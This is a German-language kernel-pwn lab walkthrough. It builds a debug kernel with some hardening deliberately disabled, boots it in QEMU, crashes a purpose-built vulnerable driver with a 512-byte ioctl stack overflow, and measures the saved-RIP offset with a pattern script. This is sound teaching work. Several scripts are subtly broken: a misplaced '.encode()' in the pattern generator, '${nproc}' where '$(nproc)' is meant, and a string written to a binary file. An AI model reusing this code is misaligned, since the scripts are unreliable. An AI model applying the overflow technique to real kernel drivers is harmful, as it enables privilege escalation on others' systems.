

Kernel PWN Walkthrough

Binary: Linux 5.15.137 (self-built) | Arch: x86-64 | OS: Linux | Schwierigkeit: Einsteiger

Was machen wir in Lab 01?

Wir bauen unser erstes Kernel-Labor: einen Debug-Kernel, ein Initramfs mit verwundbaren Treibern, und booten ihn in QEMU. Danach beantworten wir „Wo bin ich eigentlich?“ – Ring 3 vs. Ring 0, Adressen, Mitigations – und lösen den ersten (absichtlich provozierten) Kernel-Oops aus.

Die verwendeten Tools & Sicherheitslage

Verwendete Tools dieses Labs:

- build-kernel.sh – baut bzImage + vmlinuz aus linux-5.15.137
- make-initramfs.sh – packt Treiber + Exploits + busybox ins initramfs.cpio.gz
- boot.sh – startet QEMU (standardmäßig nokaslr)
- trigger.c / find-offset.py – lösen den ersten Oops kontrolliert aus

Das Build-Script (build-kernel.sh)

Vollständiger Code:

```
#!/bin/bash
# Build a debug kernel for exploit development.
# Usage: ./build-kernel.sh [kernel_version] (default 5.15.137)
set -e

VER="${1:-5.15.137}"
DIR="linux-$VER"

if [ ! -d "$DIR" ]; then
    echo "[*] downloading linux-$VER"
    curl -O "https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-$VER.tar.xz"
    tar xf "linux-$VER.tar.xz"
fi

cd "$DIR"
if [ ! -f .config ]; then
    make defconfig
fi

# --- exploit-dev config -----
scripts/config --enable KALLSYMS
scripts/config --enable KALLSYMS_ALL
scripts/config --enable DEBUG_INFO
scripts/config --enable DEBUG_KERNEL
scripts/config --enable GDB_SCRIPTS
scripts/config --disable MODULE_SIG
# let the guest read its own config (check-mitigations.sh greps it)
scripts/config --enable IKCONFIG
scripts/config --enable IKCONFIG_PROC
# hardened usercopy would abort copy_from_user() *before* the overwrite is
# visible (usercopy: Kernel memory overwrite attempt detected to stack) -
# disable it so the vroot stack overflow behaves like a classic exploit lab.
scripts/config --disable HARDENED_USERCOPY
# VMAP_STACK maps the kernel stack in vmalloc space with a guard page on top.
# Our 512-byte overflow would hit that guard page, the copy would abort
# (copy_from_user returns -EFAULT) and there would be NO crash at all. With
# the stack in normal lowmem the overwrite reaches saved RIP exactly like the
# exercises expect. This is a standard concession in kernel-pwn labs.
scripts/config --disable VMAP_STACK
# keep mitigations ON by default so your exploit must actually bypass them;
# boot with "nokaslr" while developing, then drop it.
#
# optional for lab 05 (syzkaller): enable KASAN to get exact bug reports.
# scripts/config --enable KASAN
```

```

echo "[*] building (this takes a while)"
make -j"${nproc}" bzImage vmlinux

echo
echo "[*] done: $DIR/arch/x86/boot/bzImage and $DIR/vmlinux"
echo "[*] next: ../shared/initramfs/make-initramfs.sh $DIR"

```

Boot-Script (boot.sh)

Vollständiger Code:

```

#!/bin/bash
# Boot the lab kernel in qemu.
# Usage: ./boot.sh [--gdb] [--kaslr]
#   --gdb   freeze the CPU and expose a gdb stub on :1234 (use with -s in gdb)
#   --kaslr boot WITH KASLR (default: nokaslr for exploit development)
set -e
HERE="$(cd "$(dirname "$0")" && pwd)"
KDIR="${KDIR:-$HERE/linux-5.15.137}"
INITRD="${INITRD:-$HERE/../shared/initramfs/initramfs.cpio.gz}"

GDB=""
APPEND="console=ttyS0 panic_on_oops=0"
if [[ "$*" == *--gdb* ]]; then GDB="-s -S"; fi
if [[ "$*" == *--nopanic* ]]; then :; fi
if [[ "$*" != *--kaslr* ]]; then APPEND="$APPEND nokaslr"; fi

exec qemu-system-x86_64 \
    -kernel "$KDIR/arch/x86/boot/bzImage" \
    -initrd "$INITRD" \
    -nographic \
    -append "$APPEND" \
    -m 512M \
    -smp 2 \
    -no-reboot \
    $GDB

```

Mitigations dieses Kerns

- `kptr_restrict=0` → `/proc/kallsyms` lesbar → KASLR praktisch frei
- SMEP/SMAP an → verhindern `ret2usr` (Nutzer-Speicher kann nicht als Kernel-Code/data herhalten)
- `HARDENED_USERCOPY` AUS → damit der `vroot`-Stack-Overflow überhaupt crasht
- `VMAP_STACK` AUS → die 512-Byte-Overflow erreicht den saved RIP statt die Guard-Page
- `nokaslr` (Standard) bzw. `--kaslr` für Lab 03

Der erste Oops – trigger.c

Der verwundbare Treiber `vroot.ko` kopiert per `ioctl(0x1337)` ungesichert 512 Bytes in einen 64-Byte-Stapelpuffer. Der Trigger sendet 512x 'A' → der saved RIP wird 0x4141414141414141. Vollständiger Code des genutzten Crash-Tools:

```

/*
 * trigger.c - crash /dev/vroot with a controlled pattern.
 *
 * No args: sends 512x 'A' -> saved RIP becomes 0x4141414141414141
 * With a file arg: sends the file's content (used by find-offset.py)
 */
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#define CMD_COPY 0x1337

int main(int argc, char **argv)
{
    char buf[512];

```

```

FILE *f = argc > 1 ? fopen(argv[1], "rb") : NULL;

if (f) {
    fread(buf, 1, sizeof(buf), f);
    fclose(f);
} else {
    memset(buf, 0x41, sizeof(buf));
}

int fd = open("/dev/vroot", O_RDWR);
if (fd < 0) { perror("open"); return 1; }
ioctl(fd, CMD_COPY, buf);
return 0;
}

```

Den Oops lesen:

```

# Host: trigger statisch bauen + ins initramfs legen
gcc -o trigger ../02-intermediate/trigger.c -static
cp trigger ../shared/initramfs/rootfs/root/
# booten, dann im Gast:
insmod /lib/modules/vroot.ko
/root/trigger
dmesg | tail -25
#   RIP: 0010:0x4141414141414141   <- saved RIP überschrieben
#   RSP: ...                     <- wichtig für ROP (Stack-Position)
#   RBP: 4141414141414141         <- auch saved RBP überschrieben

```

Offset-Messung – find-offset.py

Statt 512x 'A' sendet man ein Pattern aus einzigartigen 4-Byte-Blöcken. Der Oops druckt den RIP-Wert; das Skript sucht ihn im Pattern und gibt den exakten Byte-Offset. Vollständiger Code:

```

#!/usr/bin/env python3
"""find-offset.py - find the RIP offset of the vroot stack overflow.

The saved RIP (and RBP) end up holding bytes of the buffer we send, so we
send a PATTERN whose 4-byte blocks are all unique. When the guest crashes,
the oops prints RIP as hex; looking that value up in the pattern tells us
exactly at which byte offset the saved RIP sits.

Usage (host side):
    ./find-offset.py gen [size]          # write a unique pattern file (default 512)
    ./find-offset.py off <hex>          # offset of an oops RIP/RBP value

Workflow:
    1. ./find-offset.py gen
    2. rebuild the initramfs so the pattern + trigger get packed in:
       ../shared/initramfs/make-initramfs.sh ../linux-5.15.137
    3. ./boot.sh
    4. in the guest: /root/trigger /root/pattern
    5. the oops prints something like RIP: 0010:36317336613372...
    6. back on the host: ./find-offset.py off 0x36317336613372
"""
import sys
import struct

CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
BASE = len(CHARSET)          # 62 -> 62^4 = 14.7M unique 4-byte blocks
WIDTH = 4

def enc(n, width=WIDTH):
    s = []
    for _ in range(width):
        s.append(CHARSET[n % BASE])
        n //= BASE
    return "".join(reversed(s))

def gen(size):
    chunks = (size + WIDTH - 1) // WIDTH

```

```

        return "".join(enc(i) for i in range(chunks)[:size].encode())

def cmd_gen(size):
    pat = gen(size)
    with open("pattern", "wb") as f:
        f.write(pat)
    print(f"[*] wrote 'pattern' ({len(pat)} bytes)")
    print("[*] rebuild the initramfs so it lands at /root/pattern:")
    print("    ../shared/initramfs/make-initramfs.sh ../linux-5.15.137")

def cmd_off(hexval):
    try:
        v = int(hexval, 16)
    except ValueError:
        print(f"[!] not a hex number: {hexval}")
        sys.exit(1)
    pat = gen(512)
    packed = struct.pack("<Q", v)          # oops value is stored little-endian
    idx = pat.find(packed)
    if idx < 0:
        print(f"[!] 0x{v:x} does not appear in the pattern")
        print("    (did you send the pattern file? wrong kernel? "
              "stack canary present?)")
        sys.exit(1)
    print(f"[*] value 0x{v:x} found at byte offset {idx}")
    print(f"[*] -> RIP lives at offset {idx} from the start of buf")
    print(f"    (expected 72 for the 64-byte buffer in vroot.c)")

def main():
    if len(sys.argv) < 2:
        print(__doc__)
        sys.exit(1)
    cmd = sys.argv[1]
    if cmd == "gen":
        size = int(sys.argv[2]) if len(sys.argv) > 2 else 512
        cmd_gen(size)
    elif cmd == "off":
        if len(sys.argv) < 3:
            print("usage: find-offset.py off <hex>")
            sys.exit(1)
        cmd_off(sys.argv[2])
    else:
        print(__doc__)
        sys.exit(1)

if __name__ == "__main__":
    main()

```

Workflow:

1. `./find-offset.py gen`
2. `../shared/initramfs/make-initramfs.sh ../linux-5.15.137`
3. `./boot.sh`
4. Gast: `/root/trigger /root/pattern`
5. Oops zeigt z.B. RIP: `0010:36317336613372...`
6. Host: `./find-offset.py off 0x36317336613372`
`-> *RIP lives at offset 72* (64 Buffer + 8 RBP)`

Die Adressklasse

`grep -w vroot_ioctl /proc/kallsyms` zeigt eine Adresse, die mit `ffff...` beginnt – das ist die **Kernel-Half** (Ring 0). Unser `ioctl()`-Aufruf selbst läuft in Ring 3. Der Wechsel Ring3→Ring0 passiert beim `Syscall/ioctl`.

Lernziele

- Kernel bauen (bzImage vs vmlinux) und booten
- Ring 3 vs. Ring 0, KASLR, SMEP/SMAP, `kptr_restrict` verstehen

- Ersten eigenen Oops auslösen und RIP/RSP/RBP deuten
- Offset via Pattern-Methode messen (Grundlage für Lab 02)